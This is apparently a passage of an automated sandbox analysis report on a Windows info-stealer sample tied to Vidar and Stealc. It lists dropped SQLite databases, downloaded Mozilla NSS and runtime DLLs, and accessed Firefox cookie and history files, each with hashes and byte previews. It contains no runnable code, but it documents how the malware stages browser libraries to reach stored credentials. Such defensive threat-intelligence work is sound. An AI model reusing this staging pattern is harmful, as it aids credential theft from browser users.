C:\ProgramData\freebl3.dll	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DGCAAAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136505809365612
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9/Y4:MnlyfnGtxnfVuSVumEH9A4
MD5:	C41C3BD7028E12A3CE447F476E0DEA36
SHA1:	9F0BE7FFDB9A69A32AE337A9CC9FE4C8992E579F
SHA-256:	F7D257CB4D5A9E7461F5B26F5BAF62BE24CE3DB5284E0CAA5767CC261E4FA275
SHA-512:	0E0E55D5C8F17AA46699DDF58637E6FFE55FFA5242A7CE13E61F7E97170DDFA48F6FD1476D2F4BDFBE55A6C1D15FE0E4830124521ED4875BCF8A69671481BE6D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCAAAFCBFBAKFHJDBKJJJJJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8478286919236939
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO7fdRIU9+FG818lE1:TeAFawNLopFgU10XJBOzdqFG8eO
MD5:	F24679BC9B267CA40F89AE144250B684
SHA1:	C8EE23163C22E233876A3D7E6C4E4E4A5CFE69BD
SHA-256:	700BC68884B5971DF31EFAF408130FE6651B04DFBCB30556AFA9A80345142DDD
SHA-512:	13C9F23BCF782F14F5540FD2AE5F57019157DD0329998D776AFB84B9C031A01610CC6B5CE8DCCEF5DEFE6575060BE9A57F51BFA293FFCC471F9E1760EBD25A57
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIJJEBKEBFCBGDAEGDHDGHCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAAAFBKFIECAAKECGCAAKJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037108489901028344
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/HNZglJq0nWE+SCI:58r54w0VW3xW/nglzF
MD5:	0F96E012A7499CA525557B94E1BB7FD1
SHA1:	08F9B3152BFAFF4BF9B99DB15F98482C3DA1E851
SHA-256:	CE9AF43D2C3ECEFE496546796F699C9247A210EF679E260E2E2931D6D5145BF1
SHA-512:	4A1A674C45B91EE4D0C560396CE318D5E2BD0F6AC43FA7CA791F48FA7942AD87D2F723320F2D42509C92445003C9AC981E451BDA9E9AD571BCF8365E1434ED38
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDAFCAFCBKECBGCFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.516615337521338
Encrypted:	false
SSDEEP:	192:NnGeRGjYbBp6AbUAaXX6hlDbH5kIGNBw8DpwSl:c5enbUEh8fwb0
MD5:	07395BECDF5D3EC44142B5A3A738B163
SHA1:	5F4AEE74B66859EA8305288795AC08CCAB3B3EB3
SHA-256:	C168E1111C6BDAD90692CF8737A3C8A25EF8223132766D108A23ED1B5763647F
SHA-512:	9756E5339295066C9496FE9E97BEF8D58AF9C4C52AD32FF7C01986264826EC5D3B94609B938B8495B425BD35854D8EEF8B1A89029D014951C18515541666A51E
Malicious:	false
Reputation:	low
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "b6903dd2-9e5d-4efa-9f75-ceae7eb5377a");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696507608);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696507612);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHDBKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1220068301579391
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8JoudpfjOLl:aq+n0E9ELyKOMq+8qu3SJ
MD5:	87EE0BBB38B11E14090EF60A7D56C8B1
SHA1:	37966F94007814B687989937B4A299FA816581ED
SHA-256:	22CD1C8F26B721A19A1E9108D16AB419ABAD17D34ACDA62CAE3004014D88437E
SHA-512:	37572D4B5A336BC8220B9CF64F8F2D6041C68A449C582221C5C62A3BA1D8D4CA5C241C9383038EBF3D2787CF4AB9F7370E1A3C4AC7D6EC0A942FC41CD7917266
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDHDAAEHIEHIECBKJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHCAKKJDBKKFHJJDHII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p7SnjaA8NN.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946962055861792
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'844'736 bytes
MD5:	bf40d376a9a1b310af87edde937d8af3
SHA1:	82f9e52504f6042da52013248fe3dfd35c5da701
SHA256:	f849ec75c2f7c5e04a0eed780284321b184aab3be747579b0ed42b57da14bef9
SHA512:	e5231ec61c6476a67d7ccbccaa93cd67758eb6c5fd22b9305cca63a5bbac3cb13e37c0c37fd50d084b8ce8f815dc11d651c81bcdf476b81a37cad98f517b330c
SSDEEP:	49152:ayWnsz08arZGxK9aVd1Iykcq81Ojdi2VNNB9BDhG3JVeOzVr:dJ0/RG7Z2l7G3/3Vr
